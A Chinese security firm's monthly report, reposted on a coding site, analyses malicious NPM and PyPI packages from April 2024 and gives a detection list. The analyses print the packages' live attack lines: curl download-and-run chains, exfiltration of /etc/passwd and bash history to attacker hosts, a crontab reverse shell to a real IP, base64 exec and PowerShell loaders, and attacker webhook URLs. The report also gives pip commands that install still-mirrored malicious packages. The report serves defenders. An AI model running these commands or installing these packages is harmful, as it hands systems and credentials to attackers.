供应链投毒预警 | 开源供应链投毒202404月报发布(含投毒案例分析)

概述

悬镜供应链安全情报中心通过持续监测全网主流开源软件仓库,结合程序动静态分析方式对潜在风险的开源组件包进行动态跟踪和捕获,发现大量的开源组件恶意包投毒攻击事件。在2024年4月份,悬镜供应链安全情报中心在NPM官方仓库(https://www.npmjs.com/)和Pypi官方仓库(https://pypi.org/)上共捕获772个不同版本的恶意组件包,其中NPM仓库投毒占比接近89%, Pypi仓库投毒占比11%;Pypi官方仓库经历3月份遭受集中式投毒后,对新发布组件包进一步加强审查力度,本月Pypi恶意投毒攻击呈现大幅下降趋势。

4月份恶意组件数量及仓库分布

4月份恶意组件每日统计

4月份恶意组件态势统计

针对4月份捕获的恶意投毒组件,我们结合静态规则扫描、源代码审计、动态行为监控等方式进行多方位分析,总结统计投毒组件的攻击方式和恶意行为标签。

攻击方式统计

投毒组件攻击方式主要包括:

恶意文件执行

恶意文件下载

代码混淆执行

恶意文件释放

Shell命令执行

其中,投毒者最常用的攻击方式依旧是恶意文件执行(84.25%),其攻击流程是利用开源组件包管理器中的自定义指令来执行隐藏在组件安装包中的恶意文件。此外,恶意文件远程下载执行(8.64%)、恶意代码混淆(4.81%)、恶意文件释放执行(1.2%)以及Shell命令执行(1.09%)都是攻击者惯用的投毒手段。

恶意行为统计

在4月份捕获的恶意投毒组件中,信息窃取攻击占比高达93%,其中系统基础信息、系统密码文件、系统日志、用户信息、网络配置、DNS服务器IP、浏览器Cookie及登录凭证等敏感信息是攻击者的主要窃取目标。值得关注的是,Pypi仓库发生多起CStealer窃密后门以及挖矿后门投毒;其次,通过远控木马和反向Shell后门进行远控投毒的攻击呈现逐步上涨趋势。相较于3月份,针对数字钱包应用的攻击有较大幅度减少。

投毒案例分析

本节将从4月份捕获的开源组件恶意包中选取部分具有代表性的投毒样本进行分析、还原投毒攻击细节。

PART.1系统信息外传

4月15~16号,攻击者在Pypi官方仓库发布多个包名为rhermann相关的恶意包(包括rhermann、rhermann-ct、rhermann-sdsm以及rhermann-sds)。这些恶意包具有相同的攻击代码以及相同的高版本号(99.0),可推断攻击者尝试进行包依赖混淆(Dependency Confusion)供应链投毒。

恶意代码直接植入在Python安装包setup.py中,当包管理器下载安装这些恶意Python包时,恶意代码优先触发执行。恶意代码主要负责收集并外传受害者系统的版本信息、主机名、用户名、本地网络配置、DNS解析配置、主机IP等敏感数据(如下图所示)。

收集到的系统敏感信息将被外传给攻击者控制的服务接口:https://pypi-index.org/process_data

该恶意域名pypi-index.org与Pypi官方域名相比具备一定迷惑性,注册时间为2024年4月10号。

截止目前,国内部分Python镜像源仍缓存这些恶意包,其Pypi官方包下载量为758次。

以rhermann为例,目前该恶意Py包仍可从国内主流Pypi镜像源(清华大学、腾讯云等)下载安装,因此潜在的受害者数量可能会更多。

以国内清华大学镜像源为例,可通过以下命令测试安装该恶意组件包。

pip3 install rhermann -i Simple Index

Part2 恶意设立了命令执行

4月2号,攻击者在NPM官方仓库发布包名为monopulips的恶意NPM组件。在组件安装包的模块描述文件package.json中,通过定义postinstall指令在安装过程中执行恶意bash命令。

​bash -c 'curl -sSL https://research20934i.sherlockshat007.workers.dev -o script.sh && chmod +x script.sh && ./script.sh && rm -f script.sh'

恶意bash命令通过curl从攻击者服务器(https://research20934i.sherlockshat007.workers.dev)拉取第二阶段恶意bash脚本(script.sh)受害者系统上执行。

第二阶段bash脚本内容如上所示,其内嵌了一段编码后(先base64编码再字符串反转)的bash脚本代码,进一步解码后获取第三阶段真实的恶意bash代码解码(如下所示),其主要目的是将系统密码文件/etc/passwd、bash历史文件~/.bash_history 外传到攻击者服务器(https://8b53a8d8a1c2.sherlockshat007.workers.dev)

curl -X POST -H "Hostname: $(hostname)" -H "packagetype: NPM" -H "Whoami: $(whoami)" -H "Pwd: $(pwd)" -d "Install Directory: \n $(ls -la) \n Security Groups: \n $(id) \n User Directory: \n $(ls ~)\n etc-passwd: \n $(cat /etc/passwd ) \n Installed NPM modules: \n $(npm ls)\n bash history: \n $(cat ~/.bash_history)" -H "secureforward: lksadf8q3elk39" -H "Content-Type: text/plain" https://8b53a8d8a1c2.sherlockshat007.workers.dev

此外在4月4号,我们在Pypi仓库捕获到的恶意Python包lyft-core(版本号999.3.9)通样也使用以上极为相似的恶意bash代码进行投毒攻击(如下所示)。

Part3 反向Shell后门

4月4~7号,投毒者在Pypi官方仓库投放2个伪装成知名Python UserAgent解析库(user-agents)的恶意包(user-agents-parser和user-agents-parsers),这两个恶意包内置了包含Linux反向Shell后门代码的Python模块user-agents。当安装这些恶意包时,恶意包会释放出后门user-agents模块,并替换掉受害者系统环境中原有user-agents模块,实现Python模块投毒。

以user-agents-parser为例,在2.2.2版本安装包中,user-agents/parsers.py在文件末尾包含恶意代码(如下图所示)。

__import__("os").system("(crontab -l > .tab ; echo "*/5 * * * * /bin/bash -c '/bin/bash -i >& /dev/tcp/95.179.177.74/1337 0>&1'" >> .tab ; crontab .tab ; rm .tab) > /dev/null 2>&1")

恶意代码通过linux crontab将反向Shell后门写入linux计划任务,尝试实现后门持久化。如果受害者系统为Linux系统,系统bash shell将反弹到投毒者服务器(95.179.177.74:1337)上,投毒者可对受害者系统进行远程Shell后门控制。

截止目前,这两个恶意Python包总下载量为904次。

以user-agents-parsers为例,目前该恶意Py包仍可从国内主流Pypi镜像源(清华大学、腾讯云等)下载安装。

以国内清华大学镜像源为例,可通过以下命令测试安装该恶意组件包。

pip3 install user-agents-parsers -i Simple Index

Part4 CStealer后门

4月25~26号, 悬镜供应链安全情报中心在Pypi官方仓库中捕获14个伪装http客户端开展CStealer窃密后门攻击的投毒包,涉及multiplerequests、multihttp以及multihttps。这些恶意包主要针对Windows平台Python开发者,恶意包在安装时会远程加载CStealer后门到受害者系统上执行,该后门会窃取受害者系统敏感信息、主流浏览器隐私数据、数字货币钱包应用数据以及系统屏幕截屏等。此外,后门还会尝试驻留Windows系统启动目录实现开机自启动。

以multihttps恶意包2.32.5版本为例,当Python开发者使用pip install从Pypi官方仓库或下游镜像源直接安装或依赖引用恶意组件包时,将触发执行Python安装包setup.py中第一阶段恶意代码(如下图所示)。

第一阶段恶意代码进一步从投毒者服务器上拉取第二阶段恶意代码并执行。

from urllib import requestpackage_url = "https://frvezdffvv.pythonanywhere.com/getpackage"package_name = request.urlopen(package_url).read()exec(base64.b64decode(package_name))

第二阶段恶意代码经过base64编码,如下所示:

Base64解码后还原出真实的第二阶段恶意代码,如下所示:

经代码分析后确认该恶意代码是github开源CStleaer后门项目的变种版本。

cstealer/cstealer.py at main · can-kat/cstealer · GitHub

该CStealer后门主要包括以下功能:

1. 收集系统敏感信息

2. 收集浏览器隐私数据

3. 收集数字钱包应用数据

4. 系统屏幕截屏

5. 开机自启动

关于CStealer后门详细分析可参考恶意Py包伪装HTTP组件开展CStealer窃密后门攻击

如下所示,CStealer后门窃取的敏感数据包括受害者系统的屏幕截屏都将发送到投毒者webhook接口上。

https://discord.com/api/webhooks/1232850034068951061/T9KYVDomdrducNo_ruHMwHqxePkIfSiKJumxUHggS82EhLTCviZT5F_JOiqVnnP9p6VW

截至目前,这些CStealer恶意Py包在Pypi官方仓库上已被下载超过2200次。

以multihttps为例,目前该恶意py包仍可从国内主流Pypi镜像源(清华大学、腾讯云等)下载安装。

以国内清华大学镜像源为例,可通过以下命令测试安装该恶意组件包。

pip3 install multihttps -i https://pypi.tuna.tsinghua.edu.cn/simple

Part5 恶意木马植入

4月15~18号,攻击者在NPM官方仓库发布包名为djs-log,版本号为1.1.0和1.1.1的恶意包,通过伪装成知名NPM discord组件discord.js(下图所示)进行恶意木马投毒攻击。

在组件安装包的模块描述文件package.json中,通过定义preinstall指令在安装过程中直接执行shell命令。

djs-log恶意包的index.js被混淆保护,混淆代码如下所示:

对混淆代码进行还原后(下图所示)可知,该恶意文件主要负责从discord CDN服务器拉取恶意木马文件Uninstall-Node.js.exe到系统中执行。

Uninstall-Node.js.exe在Virustotal上被3款杀毒引擎判定为恶意木马文件。

此外,对于 Python组件reqargs在官方Pypi上连续发布4个不同版本恶意包。该组件安装包的setup.py文件被植入远程下载执行木马文件的恶意代码(如下图所示)。

恶意代码从Dropbox服务器上下载新的木马程序windows.exe到受害者系统临时目录上执行。

b43e&hm=aaf95cda360017d5147699490bdb6a23597fbf29a42599b417011fbc40262018

该木马程序在virustotal上被多款杀毒引擎检出(如下图所示)。

Part6 数字钱包app窃密劫持

4月9号,攻击者在Pypi官方仓库投放包名为useragent-api的恶意包(涉及版本3.1.1、3.1.4及3.1.5)。在__init__.py中存在包含恶意代码的fetch_useragents函数接口(如下所示)。

第一阶段恶意代码采用字符串hex编码,解码后得出真实代码如下所示,通过远程拉取第二阶段恶意代码并执行。

import requests; exec(requests.get("https://rentry.co/9sdyip8p/raw").text)

第二阶段恶意代码内容如下所示:

第三阶段恶意代码采用PowerShell编写,并通过base64编码,解码后为:

$pastebinURL = "https://rentry.co/7w5v9p4k/raw"; $code = Invoke-WebRequest -UseBasicParsing -Uri $pastebinURL | Select-Object -ExpandProperty Content; Invoke-Expression -Command $code

PowerShell代码会进一步从攻击者服务器拉取第四阶段PowerShell代码(https://rentry.co/7w5v9p4k/raw)并执行,该PowerShell恶意代码主要包含5大功能:

1.收集用户口令数据

2.收集数字钱包应用数据

3.篡改劫持数字钱包应用

4.系统屏幕截屏

5.数据外传

收集用户口令数据

根据内置关键字匹配规则(如下如所示),收集所有命中匹配敏感关键字(数字钱包助记词、数字钱包登录口令、账户私钥等)的文件。

收集数字钱包应用数据

针对主流数字钱包(Exodus、Electrum、Monero)的应用数据目录进行全量拷贝(如下所示)。

篡改劫持数字钱包应用

此外,恶意代码还会远程下载包含后门的app.asar文件,并尝试杀掉Exodus钱包应用进程后,使用恶意app.asar替换原有Exodus钱包app.asar文件,从而实现钱包应用程序的持久化劫持。

https://cloudflare-ipfs.com/ipfs/Qmed41NkN5P6T7uNb8dTTWE74gAcXzrsmzjY5FokecKgTD

系统屏幕截屏

如下所示,恶意代码还会调用PowerShell接口对受害者系统屏幕进行截屏操作并生成png图片。

数据外传

对于收集的数字钱包应用数据进行zip打包,最后将zip压缩包和系统截屏图片通过curl传输到攻击者远程服务接口(如下图所示)。

https://api.telegram.org/bot6435250964:AAGjL9ujzVRNrU2o23KcTFeUFwawogschE0

截至目前,该恶意Py包在Pypi官方仓库上已被下载860次。

Part 7挖矿后门

4月10号,投毒者通过伪装Python colorprint模块(下图所示)在Pypi官方仓库投放4个不同版本的恶意包(py-colorprinting),这些恶意包内置了静默下载执行数字货币挖矿后门的colorprint python模块。当安装这些恶意包时,恶意包会释放出colorprint后门模块,并替换掉受害者系统环境中原有colorprint模块,实现Python模块投毒。

以py-colorprinting 0.1.5版本为例,colorpr/__init__.py默认加载core.py,将触发执行包含恶意代码的InitializeConsole函数(如下图所示)。恶意代码启动线程从投毒者服务器上下载挖矿程序压缩包ore-miner.zip,解压ore-miner.zip后执行ORE币挖矿程序ore-miner.exe。

https://cosmoplanets.net/well-known/pki-validation/ore-miner.zip

ore-miner是基于Electron开发的挖矿客户端,整体程序结构如下所示:

投毒者使用的矿池地址为:

https://jupiter-frontend.rpcpool.comhttps://raydium-raydium-5ad5.mainnet.rpcpool.com

截止目前,该恶意Python包总下载量为864次。

目前该恶意Py包仍可从国内主流Pypi镜像源(清华大学、腾讯云等)下载安装。

以国内清华大学镜像源为例,可通过以下命令测试安装该恶意组件包。

pip3 install py-colorprinting -i https://pypi.tuna.tsinghua.edu.cn/simple

排查方式

针对本分析报告中的投毒样本,开发者可使用OpenSCA-cli,将受影响的组件包按如下示例保存为db.json文件(可参考总结中提到的组件包信息按格式增减),直接执行扫描命令(opensca-cli -db db.json -path ${project_path}),即可快速获知您的项目是否受到文中所披露的投毒包的影响。

[  {    "product": "monopulips",    "version": "[0.1.0, 0.1.5]",    "language": "javascript",    "id": "XMIRROR-MAL45-31C14E5C",    "description": "NPM组件monopulips存在恶意代码,远程下载恶意bash命令执行。",    "release_date": "2024-04-02"  },  {    "product": "lyft-core",    "version": "[999.3.9]",    "language": "python",    "id": "XMIRROR-MALF5-C41B3019",    "description": "Python组件lyft-core存在恶意代码,执行恶意bash命令执行。",    "release_date": "2024-04-04"  },  {    "product": "user-agents-parsers",    "version": "[2.2.1]",    "language": "python",    "id": "XMIRROR-MAL45-A43ABEDD",    "description": "Python组件user-agents-parsers存在恶意代码,利用反向shell后门攻击Linux系统开发者。",    "release_date": "2024-04-04"  },  {    "product": "user-agents-parser",    "version": "[2.2.2, 2.2.3]",    "language": "python",    "id": "XMIRROR-MAL45-38C6CDD2",    "description": "Python组件user-agents-parser存在恶意代码,利用反向shell后门攻击Linux系统开发者。",    "release_date": "2024-04-07"  },  {    "product": "useragent-api",    "version": "[3.1.1, 3.1.4, 3.1.5]",    "language": "python",    "id": "XMIRROR-MAL45-DF933A23",    "description": "Python组件useragent-api存在恶意代码,劫持数字货币钱包应用。",    "release_date": "2024-04-09"  },  {    "product": "py-colorprinting",    "version": "[0.1.1, 0.1.2, 0.1.3, 0.1.5]",    "language": "python",    "id": "XMIRROR-MAL45-62B107C3",    "description": "Python组件py-colorprinting存在恶意代码,远程下载并执行挖矿后门。",    "release_date": "2024-04-10"  },  {    "product": "rhermann-sds",    "version": "[99.0]",    "language": "python",    "id": "XMIRROR-MAL45-CC99C1A2",    "description": "Python组件requests-http存在恶意代码,窃取系统敏感信息。",    "release_date": "2024-04-15"  },  {    "product": "rhermann-ct",    "version": "[99.0]",    "language": "python",    "id": "XMIRROR-MAL45-10EEFB21",    "description": "Python组件rhermann-ct存在恶意代码,窃取系统敏感信息。",    "release_date": "2024-04-15"  },  {    "product": "rhermann",    "version": "[99.0]",    "language": "python",    "id": "XMIRROR-MAL45-7BFF9F62",    "description": "Python组件rhermann存在恶意代码,窃取系统敏感信息。",    "release_date": "2024-04-16"  },  {    "product": "rhermann-sdsm",    "version": "[99.0]",    "language": "python",    "id": "XMIRROR-MAL45-208AAF32",    "description": "Python组件rhermann-sdsm存在恶意代码,窃取系统敏感信息。",    "release_date": "2024-04-16"  },  {    "product": "djs-log",    "version": "[1.1.0, 1.1.1]",    "language": "javascript",    "id": "XMIRROR-MAL45-579E44E0",    "description": "NPM组件djs-log存在恶意代码,远程下载并执行恶意木马程序。",    "release_date": "2024-04-19"  },  {    "product": "multiplerequests",    "version": "[2.31.0, 2.31.1, 2.31.2, 2.31.3, 2.31.4, 2.31.5]",    "language": "python",    "id": "XMIRROR-MAL45-7DF79312",    "description": "Python组件multiplerequests存在恶意代码,利用CStealer窃密后门盗取系统敏感数据。",    "release_date": "2024-04-24"  },  {    "product": "multihttp",    "version": "[2.31.12]",    "language": "python",    "id": "XMIRROR-MAL45-B1487A8",    "description": "Python组件multihttp存在恶意代码,利用CStealer窃密后门盗取系统敏感数据。",    "release_date": "2024-04-26"  },  {    "product": "multihttps",    "version": "[2.31.11]",    "language": "python",    "id": "XMIRROR-MAL45-14D9F4B5",    "description": "Python组件multihttps存在恶意代码,利用CStealer窃密后门盗取系统敏感数据。",    "release_date": "2024-04-26"  }]​

总结

根据2024年4月份捕获的开源组件投毒统计数据以及分析报告来看,投毒攻击手法和目标呈现多样化趋势。NPM仓库依旧是投毒攻击的重点目标,敏感数据窃取仍是主流攻击,此外,针对数字钱包应用的劫持攻击以及挖矿后门投毒攻击也日趋严重。

悬镜供应链安全情报中心是国内首个数字供应链安全情报研究中心,依托悬镜安全团队强大的供应链SBOM管理与监测能力和AI安全大数据云端分析能力,对全球数字供应链安全漏洞、投毒事件、组件风险等进行实时动态监测与溯源分析,为用户智能精准预警“与我有关”的数字供应链安全情报。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/13449.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

什么是检索增强生成(Retrieval Augmented Generation)?RAG 架构如何实现?

检索增强生成(Retrieval Augmented Generation)时代 在不断发展的生成人工智能世界中,检索增强生成 (RAG) 标志着一项重大进步,它将检索模型的准确性与生成模型的创造性相结合,达到了准确&创新的更高层级。 这种…

Nginx 7层负载均衡的搭建

目录 负载均衡的理解 修改配置文件 测试 1. 选择在 DMZ 区测试,使用 db 服务器进行测试 2.选择在外网测试负载均衡效果 负载均衡的理解 负载均衡:load balancer,简称LB Nginx 既是一个 web 服务器软件,也是一个负载均衡软件&a…

【NLP】文本分类

n-gram 的局限性 n-gram 只能对于填空这样的通顺性问题做出推测,但是没有办法完全解决句子的语义问题,从而无法实现文本的分类 文本的分类,就是将文本在语义的理解下划分到特定的主题下 手工规则 如一些垃圾过滤系统,需要人工制…

企业或者个体户为什么会经营异常?

在复杂多变的市场经济环境中,无论是企业还是个体工商户,都可能遭遇经营异常的情况。及时识别这些预警信号并采取有效措施,对于避免潜在风险、保持健康发展至关重要。本文将深入探讨企业与个体户常见的经营异常类型、识别方法以及应对策略&…

有趣的css - 文字隐身术效果

大家好,我是 Just,这里是「设计师工作日常」,今天分享的是利用动画属性来模拟文字隐身消失的效果。 《有趣的css》系列最新实例通过公众号「设计师工作日常」发布。 目录 整体效果核心代码html 代码css 部分代码 完整代码如下html 页面css 样…

php解密工具

在线编辑器 复制如下代码到空白地区: <?php namespace FatSmallTools; class NavicatPassword {protected $version 0;protected $aesKey libcckeylibcckey;protected $aesIv libcciv libcciv ;protected $blowString 3DC5CA39;protected $blowKey null;protected $b…

MCULCD屏驱动方法

MCULCD屏驱动方式 一、LCD简介二、直接采用8080时序驱动LCD三、采用FSMC&#xff08;模拟8080时序&#xff09;驱动LCD1&#xff0c;FSMC简介2&#xff0c;结构框图3&#xff0c;FMC 驱动 LCD 显示配置步骤 一、LCD简介 Liquid Crystal Display&#xff0c;即液晶显示器&#…

GPT-4o 的商业化落地使用场景

今天我想和大家聊一聊 OpenAI 的 GPT-4o。这款令人惊叹的语言模型不仅在技术层面上令人钦佩&#xff0c;也在多种实际应用中展现了巨大的商业潜力。 GPT-4o 是什么&#xff1f; 首先&#xff0c;简单介绍一下 GPT-4o。它是由 OpenAI 开发的一种高级自然语言处理模型&#xff0…

【全开源】keep健身小程序FastAdmin+ThinkPHP+UniApp

基于FastAdminUniApp&#xff08;目前仅支持微信小程序&#xff09;开发的健身相关行业小程序&#xff0c;程序适用于健身房、瑜伽馆、游泳馆、篮球馆等健身培训场所。平台拥有课程售卖、课*程*预*约、多门店管理、私教预约、教练端、会*员*卡办理、在线*商*城、分*销*模块、页…

每日一练 2024.5.16(补2024.5.12)

题目&#xff1a; 给你 n 个项目&#xff0c;编号从 0 到 n - 1 。同时给你一个整数数组 milestones &#xff0c;其中每个 milestones[i] 表示第 i 个项目中的阶段任务数量。 你可以按下面两个规则参与项目中的工作&#xff1a; 每周&#xff0c;你将会完成 某一个 项目中的…

堆的概念及结构

目录 堆的性质&#xff1a; 堆的实现 堆向下调整算法 堆的创建 堆的插入 堆的删除 堆的应用 堆排序 对比冒泡的优势&#xff1a; 代码 头文件 源文件 如果有一个关键码的集合K { &#xff0c; &#xff0c; &#xff0c;…&#xff0c; }&#xff0c;把它的所有元…

JUnit5测试用例

1.用Test注解表示为测试方法 2.使用DisplayName定义别名 3.使用Assertions类的断言方法 使用断言&#xff0c;可以判断方法的实际执行结果和预期结果是否一致 assertEqualsassertTureassertNotNullassertAllassertThrows 下图是预期与实际不同时报错图 4.使用BeforeEach注解&…

SQL操作面试题

1、NULL和 的区别 || MySQL中为什么不用NULL作为默认值 聚合函数&#xff0c;比如SUM、AVG等会忽略NULL&#xff0c;会造成数据的一个分析误差。只能通过COUNT&#xff08;*&#xff09; NULL的话只能通过ISNULL和ISNotNULL去进行判断&#xff0c;而 可以用<,>,等等…

怎么转换视频格式到mp4?格式转换,4种简单方法

转换视频格式到MP4可以使视频在各种设备上播放更加方便&#xff0c;而MP4格式的优势在于其高质量的视频和相对较小的文件大小。怎么转换视频格式到mp4&#xff1f;在本文中&#xff0c;我们将介绍四种简单有效的方法&#xff0c;帮助您快速将视频格式转换为MP4。 无论您是初学…

花花省V6淘宝客APP社交电商自营商城聚合优惠券系统功能介绍

花花省V6淘宝客APP的社交电商自营商城聚合优惠券系统具有多种功能&#xff0c;以满足用户的不同需求。以下是其主要功能的介绍&#xff1a; 首页功能&#xff1a;首页设计包含广告位、淘口令识别、微信登录、淘宝登录等。此外&#xff0c;还有淘宝返佣、拼多多返佣、京东返佣、…

软考:数据流图案例

阅读下列说明和图&#xff0c;回答问题1至问题4。 一、说明 某医院欲开发病人监控系统。该系统通过各种设备监控病人的生命体征&#xff0c;并在生命体征异常时向医生和护理人员报警。该系统的主要功能如下&#xff1a; &#xff08;1&#xff09;本地监控&#xff1a;定期获…

剑指Offer打卡day34——AcWing 66. 两个链表的第一个公共结点

AcWing 66. 两个链表的第一个公共结点 暴力做法&#xff0c;两层for循环 /*** Definition for singly-linked list.* public class ListNode {* int val;* ListNode next;* ListNode(int x) {* val x;* next null;* }* }*/ class Solutio…

Linux ps命令详细参数

一、简介 在Linux系统中&#xff0c;ps(Process Status的缩写)命令常常用来用来列出系统中当前运行的进程。ps命令列出的是当前那些进程的快照&#xff0c;就是执行ps命令的那个时刻的那些进程&#xff0c;如果想要动态的显示进程信息&#xff0c;就可以使用top命令。要对进程…

Synchronize 底层实现原理

1 、加锁实现原理 public class SynchronizedTest {public void get(){synchronized (this){ // 这个是同步代码块System.out.println("你好呀");}}public synchronized void f(){ //这个是同步方法System.out.println("Hello world");}public s…